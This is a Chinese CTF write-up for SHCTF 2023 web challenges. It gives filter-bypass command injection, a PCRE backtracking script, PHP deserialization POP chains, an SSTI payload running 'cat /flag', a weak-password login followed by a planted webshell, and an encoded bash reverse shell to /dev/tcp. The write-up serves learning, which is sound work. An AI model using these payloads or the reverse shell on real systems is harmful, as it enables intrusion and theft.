2023 SHCTF-校外赛道 WEB WP
WEEK1
babyRCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}过滤了一些常用命令、数字等，空格也被过滤了，那么可以用${IFS}代替。ls也可以用，好好好，上传命令
?rce=ls${IFS}/得到
但要获取flag就需要使用通配符来绕过了。。因为过滤了flag字符
?rce=uniq${IFS}/f???flag{82c3aa08-6f04-48ab-abf3-99b9aaa1cd22} 1zzphp
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
} 分析源码，第一步需要给num传参，不能为数字，但intval函数是用于获取参数的整数值，如果不是数
字，就会返回FALSE，所以我们采用数组来绕过第一段。然后进入第二段过滤，利用PCRE时间回溯漏
洞，通过发送大量字符串，使其超过返回上限即可绕过.
exp:
import requests
url = "..../?num[]"
data = {'c_ode': 'very' * 250000 + '2023SHCTF'}
res = requests.post(url, data=data)
print(res.text)ez_serialize
听说你会PHP反序列化漏洞？不信，除非can_can_need_flag
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>一道较为基础的反序列化链子
文章推荐:php 反序列化总结
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new A();
$b=new B();
$c=new C();
$d=new D();
$b->q=$c;
$c->z=$d;
$c->var=$c;
$d->p=$a;
$a->var_1="php://filter/convert.base64-encode/resource=flag.php";
echo serialize($b);
?>登录就给flag
点击登录，等待3秒，跳转到登录页面，尝试弱口令admin和password，登录成功
飞机大战
查看源代码找到
进去找到一串编码
执行一下得到base64编码
print("\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006d\u0059\u007a\u004a\u0068\u004e\u006d\u0045\u0031\u005a\u0053\u0030\u0030\u004d\u0044\u0064\u0069\u004c\u0054\u0051\u0035\u0059\u0054\u0055\u0074\u004f\u0044\u0051\u0035\u004e\u0053\u0030\u0077\u0059\u007a\u0041\u0033\u004d\u007a\u005a\u006c\u004e\u0032\u0045\u007a\u005a\u006d\u0052\u0039\u000a")ZmxhZ3tmYzJhNmE1ZS00MDdiLTQ5YTUtODQ5NS0wYzA3MzZlN2EzZmR9解码即可
ezphp
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
it is begin第一个过滤接收字符在判断之后，可以直接忽视
随后就是漏洞利用，这里是\e的命令执行
?code=${ phpinfo() }pattern=\S.*生成你的邀请函吧~
API：url/generate_invitation
Request：POST application/json
Body：{
"name": "Yourname",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
} 使用POST json请求来生成你的邀请函吧~flag就在里面哦~
postman向
generate_invitation发包即可
WEEK2
no_wake_up
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']); 简单的反序列化
<?php
class flag{
public $username="admin";
public $code="php://filter/convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";}PD9waHANCiRmbGFnID0gImZsYWd7YzU5NGU2MzktNDA1Ni00MmY4LThhOWItYjc2OGNmNjRkMDdkfSI7解码即可
ez_ssti
ssti一把梭
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
EasyCMS
扫后台得到admin/admin.php，然后进入
弱口令登录
admin/tao
点击文件管理，创建新文件，写入一句话木马
命令执行即可得到flag
serialize
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 简单的POP链
<?php
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
echo "misca: __get: <br>";
var_dump($key);
$this->miaomiao();
var_dump($this->fei);
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
echo "miaomiao:<br>";
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
echo "musca: __wakeup: <br>";
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
$m = new musca();
$mi = new misca();
$mls = new milaoshu();
$mls->v = "php://filter/convert.base64-encode/resource=flag.php";
$mi->fei = $mls;
$mi->gao = &$mi->a;
$m->ding = $mi;
echo urlencode(serialize(array($m)));
$t = $_GET["wanna_fl.ag"];
var_dump($t);
unserialize(check($t));?wanna[fl.ag=a%3A1%3A%7Bi%3A0%3BO%3A5%3A%22musca%22%3A2%3A%7Bs%3A4%3A%22ding%22%3BO%3A5%3A%22misca%22%3A3%3A%7Bs%3A3%3A%22gao%22%3BN%3Bs%3A3%3A%22fei%22%3BO%3A8%3A%22milaoshu%22%3A1%3A%7Bs%3A1%3A%22v%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7Ds%3A1%3A%22a%22%3BR%3A4%3B%7Ds%3A4%3A%22dong%22%3BN%3B%7D%7D
MD5的事就拜托了
ez_rce
考点需要本地调试 Subprocess Call
第一步进行构造进行污染
?num=7&bol=True
post:
{
"exp": ["Popen", "__init__", "__defaults__"]
}
修改 Content-Type: application/json
返回 ok 代表成功
第二步构造
/?
exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2
F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22
反弹 shell 获得 flag
WEEK3
快问快答
男：尊敬的领导，老师
女：亲爱的同学们
合：大家下午好！
男：伴着优美的音乐，首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。
sseerriiaalliizzee
gogogo
